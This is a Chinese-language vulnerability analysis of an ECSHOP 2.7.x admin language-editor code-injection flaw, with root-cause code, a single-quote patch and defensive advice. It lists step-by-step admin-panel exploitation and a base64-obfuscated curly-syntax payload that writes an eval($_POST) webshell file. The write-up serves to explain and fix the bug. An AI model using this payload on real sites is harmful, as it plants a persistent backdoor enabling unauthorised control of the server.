首页 > 代码库 > ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php
ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php
目录
1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
对于很多CMS网站来说，它们都需要保存很多的网站META信息，最常用的最佳实践是以变量声明的形式保存在.php文件中，在需要的时候直接include进来，PHP File Loader会自动将引入文件中的变量注册到当前的代码空间中，供其他的代码直接引用。例如
1. phpmyadmin使用config/config.inc.php保存phpmyadmin的配置信息：phpmyadmin setup.php代码注入漏洞2. ecshop使用/languages/zh_cn/user.php保存网站的语言配置项：ecshop user.php php curl 代码动态执行漏洞
这种将动态的变量保存在静态的文件中，然后利用PHP File Loader的动态引用机制实现本地变量注册的做法在为CMS框架开发带来方便的同时，也引入了安全风险，黑客可以通过"模版编辑"、"后台网站基础描述信息编辑"、"语言项编辑"等等编辑方式，对这类文件进行修改，从而将PHP代码注入到这些.php文件中，获得代码执行的机会
2. 漏洞触发条件
1. 访问网站后台http://localhost/ecshop2.7.2/admin/2. 左边导航栏模板管理 -> 语言项管理 -> 选择: user.php(会员中心语言包) -> 搜索: is_paid3. 对模板文件进行编辑插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}4. 访问被注入PHP代码的文件http://localhost/ecshop2.7.2/languages/zh_cn/user.php5. 生成WEBSHELLhttp://localhost/ecshop2.7.2/languages/zh_cn/fuck.php
访问Exploit URL
被注入文件中的Curl Syntax代码获得执行，WEBSHELL文件被写入了磁盘
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2010-024714
3. 漏洞影响范围
ecshop 2.7.2最新版ecshop 2.7.3更早版本是否存在未知...
4. 漏洞代码分析
我们知道，这个漏洞属于一个代码注入漏洞 && 恶意代码持久化导致正常文件被污染的WEBSHELL永久后门的。所以我们分析这个漏洞要从漏洞源头和被污染的.PHP文件两方面入手
我们先来分析一下代码注入的源头：\admin\edit_languages.php
...../*------------------------------------------------------ *///-- 编辑语言项/*------------------------------------------------------ */elseif ($_REQUEST[‘act‘] == ‘edit‘){ /* 语言项的路径 */ $lang_file = isset($_POST[‘file_path‘]) ? trim($_POST[‘file_path‘]) : ‘‘; /* 替换前的语言项 */ $src_items = !empty($_POST[‘item‘]) ? stripslashes_deep($_POST[‘item‘]) : ‘‘; /* 修改过后的语言项 */ $dst_items = array(); $_POST[‘item_id‘] = stripslashes_deep($_POST[‘item_id‘]); for ($i = 0; $i < count($_POST[‘item_id‘]); $i++) { /* 语言项内容如果为空，不修改 */ if (trim($_POST[‘item_content‘][$i]) == ‘‘) { unset($src_items[$i]); } else { $_POST[‘item_content‘][$i] = str_replace(‘\\\\n‘, ‘\\n‘, $_POST[‘item_content‘][$i]); /* 这行代码是导致漏洞的关键 将用户输入的内容用双引号("")包裹，并写入磁盘上的文件中 这为黑客提供向磁盘文件注入"Curl Syntax Code"，并进行代码执行提供了机会 */ $dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘"‘ .$_POST[‘item_content‘][$i]. ‘";‘; } } ....
这里存在的安全问题问题有以下几个
1. edit_languages.php属于系统的输入边界，是接收用户输入数据的地方2. edit_languages.php没有对用户输入的数据进行有效过滤、转义，导致黑客将PHP代码注入到user.php文件中3. 没有遵循"数据"、"代码"分离的原则，user.php本质上是用来保存数据信息的，但是却被以黑客可以随便访问的.php文件的形式保存在磁盘上。要做好数据、代码的逻辑分离，可以采用以下2种最佳安全实践 1) 在保存数据的文件头部使用 ifundine then exit的防御代码 2) 使用.txt文件扩展名保存这类保存数据的文件
edit_languages.php接收了用户的输入后，将修改后的信息保存在user.php中，我们继续来分析一下这个文件
/languages/zh_cn/user.php
$_LANG[‘is_paid‘] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";
这里的关键在于PHP Curl Syntax语法，在双引号("")中的的代码("${${....")会被PHP解释器进行动态执行
关于PHP的这种动态代码执行的语法的相关知识，请参阅另外的文章
http://www.cnblogs.com/LittleHann/p/3522990.html//搜索：0x10: Curly Syntax
5. 防御方法
这种复合型的注入后污染磁盘文件，进而留下永久型文件后门的漏洞，修复方案也必须采用符合的方案
0x1: 修复\admin\edit_languages.php
将保存到user.php中的字符串改为使用单引号(‘‘)包裹，在单引号模式下，PHP Curl Syntax("${${...")是无法执行的，这可以有效从源头上阻止新的WEBSHELL漏洞文件的产生
...../*------------------------------------------------------ *///-- 编辑语言项/*------------------------------------------------------ */elseif ($_REQUEST[‘act‘] == ‘edit‘){ /* 语言项的路径 */ $lang_file = isset($_POST[‘file_path‘]) ? trim($_POST[‘file_path‘]) : ‘‘; /* 替换前的语言项 */ $src_items = !empty($_POST[‘item‘]) ? stripslashes_deep($_POST[‘item‘]) : ‘‘; /* 修改过后的语言项 */ $dst_items = array(); $_POST[‘item_id‘] = stripslashes_deep($_POST[‘item_id‘]); for ($i = 0; $i < count($_POST[‘item_id‘]); $i++) { /* 语言项内容如果为空，不修改 */ if (trim($_POST[‘item_content‘][$i]) == ‘‘) { unset($src_items[$i]); } else { $_POST[‘item_content‘][$i] = str_replace(‘\\\\n‘, ‘\\n‘, $_POST[‘item_content‘][$i]); /* 这行是patch代码的关键，将原本的双引号("")改为了单引号(‘‘)，有效地组织了代码注入后的执行 */ $dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘\‘‘ .$_POST[‘item_content‘][$i]. ‘\‘;‘; } } .....
0x2: 修复/languages/zh_cn/user.php
被黑客进行代码注入攻击之后，这个usre.php已经成为了一个新的后门，需要对其中的恶意代码进行清理，即脏数据清洗
将双引号换成单引号即可
6. 攻防思考
从攻防的角度上来看，ecshop的这个漏洞属于"代码注入(code injection)"，但是和普通的sql injection的差别在于
1. 文件/模版编辑类 注入漏洞的的注入的目标对象是磁盘上的静态php文件，而不是数据库2. 文件/模版编辑类 在进行代码注入后，往往不是立即生效，而是要通过之后的访问或者被其他文件引入，才能执行被注入文件中的curl syntax代码
对于这种漏洞的防御，除了采用和和sql injection类似的输入过滤、执行过滤的代码防御思想外，还需要解决一个"脏数据清理"的问题
文件型代码注入的结果是黑客将攻击代码永久固化在了文件中(存储在数据表字段中的代码注入也是类似的道理)，被污染的文件就被转换为了一个WEBSHELL后门，即成为一个新的漏洞点，要彻底解决这个问题，需要同时做到
1. 输入过滤，将WEBSHELL PHP CODE注入的源头堵住2. 对已经被注入的，对保存脏数据的WEBSHELL后门文件进行清理
Copyright (c) 2014 LittleHann All rights reserved
ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php